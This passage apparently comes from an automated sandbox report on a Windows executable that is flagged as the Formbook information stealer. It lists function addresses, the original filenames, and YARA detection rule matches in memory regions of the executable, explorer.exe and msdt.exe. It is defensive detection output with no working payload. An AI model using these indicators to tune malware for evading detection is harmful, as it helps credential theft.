          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BB2C04_2_011BB2C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BD2F04_2_011BD2F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012575714_2_01257571
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123D5B04_2_0123D5B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012695C34_2_012695C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125F43F4_2_0125F43F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011914604_2_01191460
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125F7B04_2_0125F7B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011E56304_2_011E5630
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012516CC4_2_012516CC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012359104_2_01235910
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A99504_2_011A9950
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BB9504_2_011BB950
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120D8004_2_0120D800
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A38E04_2_011A38E0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125FB764_2_0125FB76
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BFB804_2_011BFB80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01215BF04_2_01215BF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011DDBF94_2_011DDBF9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01213A6C4_2_01213A6C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01257A464_2_01257A46
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125FA494_2_0125FA49
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01241AA34_2_01241AA3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123DAAC4_2_0123DAAC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011E5AA04_2_011E5AA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124DAC64_2_0124DAC6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01257D734_2_01257D73
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A3D404_2_011A3D40
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01251D5A4_2_01251D5A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BFDC04_2_011BFDC0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01219C324_2_01219C32
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125FCF24_2_0125FCF2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125FF094_2_0125FF09
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A1F924_2_011A1F92
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125FFB14_2_0125FFB1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01163FD54_2_01163FD5
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01163FD24_2_01163FD2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A9EB04_2_011A9EB0
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C32325_2_0E8C3232
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8BDB325_2_0E8BDB32
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8BDB305_2_0E8BDB30
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8B90825_2_0E8B9082
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C20365_2_0E8C2036
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C65CD5_2_0E8C65CD
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8BAD025_2_0E8BAD02
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C09125_2_0E8C0912
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6B2B325_2_0F6B2B32
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6B2B305_2_0F6B2B30
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6B82325_2_0F6B8232
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6AFD025_2_0F6AFD02
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6B59125_2_0F6B5912
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6BB5CD5_2_0F6BB5CD
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6B70365_2_0F6B7036
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6AE0825_2_0F6AE082
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBC2325_2_0FBBC232
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBF5CD5_2_0FBBF5CD
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBB6B325_2_0FBB6B32
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBB6B305_2_0FBB6B30
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBB99125_2_0FBB9912
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBB3D025_2_0FBB3D02
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBB20825_2_0FBB2082
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBB0365_2_0FBBB036
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0089F0DB6_2_0089F0DB
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008BC8036_2_008BC803
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008959506_2_00895950
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008AFCE76_2_008AFCE7
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B2FD36_2_008B2FD3
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A47026_2_008A4702
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AFE4F66_2_04AFE4F6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AF44206_2_04AF4420
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B024466_2_04B02446
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B105916_2_04B10591
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A505356_2_04A50535
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A6C6E06_2_04A6C6E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A4C7C06_2_04A4C7C0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A507706_2_04A50770
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A747506_2_04A74750
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AE20006_2_04AE2000
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B041A26_2_04B041A2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B101AA6_2_04B101AA
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B081CC6_2_04B081CC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A401006_2_04A40100
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AEA1186_2_04AEA118
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AD81586_2_04AD8158
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AD02C06_2_04AD02C0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AF02746_2_04AF0274
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A5E3F06_2_04A5E3F0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B103E66_2_04B103E6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0A3526_2_04B0A352
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AF0CB56_2_04AF0CB5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A40CF26_2_04A40CF2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A50C006_2_04A50C00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A68DBF6_2_04A68DBF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A4ADE06_2_04A4ADE0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A5AD006_2_04A5AD00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AECD1F6_2_04AECD1F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0CE936_2_04B0CE93
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A62E906_2_04A62E90
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0EEDB6_2_04B0EEDB
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0EE266_2_04B0EE26
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A50E596_2_04A50E59
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04ACEFA06_2_04ACEFA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A42FC86_2_04A42FC8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A92F286_2_04A92F28
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A70F306_2_04A70F30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AF2F306_2_04AF2F30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AC4F406_2_04AC4F40
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A368B86_2_04A368B8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A7E8F06_2_04A7E8F0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A528406_2_04A52840
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A5A8406_2_04A5A840
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A529A06_2_04A529A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B1A9A66_2_04B1A9A6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A669626_2_04A66962
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A4EA806_2_04A4EA80
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B06BD76_2_04B06BD7
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0AB406_2_04B0AB40
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0F43F6_2_04B0F43F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A414606_2_04A41460
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AED5B06_2_04AED5B0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B195C36_2_04B195C3
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B075716_2_04B07571
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B016CC6_2_04B016CC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A956306_2_04A95630
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0F7B06_2_04B0F7B0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0F0E06_2_04B0F0E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B070E96_2_04B070E9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AFF0CC6_2_04AFF0CC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A570C06_2_04A570C0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A5B1B06_2_04A5B1B0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A8516C6_2_04A8516C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A3F1726_2_04A3F172
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B1B16B6_2_04B1B16B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A552A06_2_04A552A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AF12ED6_2_04AF12ED
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A6D2F06_2_04A6D2F0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A6B2C06_2_04A6B2C0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A9739A6_2_04A9739A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0132D6_2_04B0132D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A3D34C6_2_04A3D34C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0FCF26_2_04B0FCF2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AC9C326_2_04AC9C32
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A6FDC06_2_04A6FDC0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B07D736_2_04B07D73
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A53D406_2_04A53D40
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B01D5A6_2_04B01D5A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A59EB06_2_04A59EB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0FFB16_2_04B0FFB1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A51F926_2_04A51F92
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A13FD26_2_04A13FD2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A13FD56_2_04A13FD5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0FF096_2_04B0FF09
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A538E06_2_04A538E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04ABD8006_2_04ABD800
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AE59106_2_04AE5910
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A599506_2_04A59950
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A6B9506_2_04A6B950
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AEDAAC6_2_04AEDAAC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A95AA06_2_04A95AA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AF1AA36_2_04AF1AA3
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AFDAC66_2_04AFDAC6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AC3A6C6_2_04AC3A6C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B07A466_2_04B07A46
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0FA496_2_04B0FA49
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A6FB806_2_04A6FB80
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A8DBF96_2_04A8DBF9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04AC5BF06_2_04AC5BF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04B0FB766_2_04B0FB76
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081D5A66_2_0081D5A6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081ECC16_2_0081ECC1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00802D876_2_00802D87
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00802D906_2_00802D90
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081EEF46_2_0081EEF4
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00809E606_2_00809E60
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00802FB06_2_00802FB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0475A0366_2_0475A036
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04752D026_2_04752D02
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0475E5CD6_2_0475E5CD
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_047510826_2_04751082
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_047589126_2_04758912
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0475B2326_2_0475B232
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04755B306_2_04755B30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04755B326_2_04755B32
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: String function: 0118B970 appears 262 times
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: String function: 011E7E54 appears 107 times
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: String function: 011D5130 appears 58 times
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: String function: 0120EA12 appears 86 times
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: String function: 0121F290 appears 103 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 04A97E54 appears 107 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 008BE523 appears 31 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 04A85130 appears 58 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 008899E8 appears 885 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 04ACF290 appears 103 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 04A3B970 appears 262 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 008819DB appears 34 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 04ABEA12 appears 86 times
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1660916542.0000000003D2E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1658764239.0000000000B6E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000000.1631739652.0000000000682000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameFXDX.exe, vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1664185923.00000000079D0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1663385257.0000000007000000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameRT.dll. vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771720567.00000000010F0000.00000040.10000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamemsdt.exej% vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771924925.000000000128D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exeBinary or memory string: OriginalFilenameFXDX.exe, vs mQY9ka5sW6hv2Ri.exe
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000005.00000002.4103236234.000000000FBD4000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
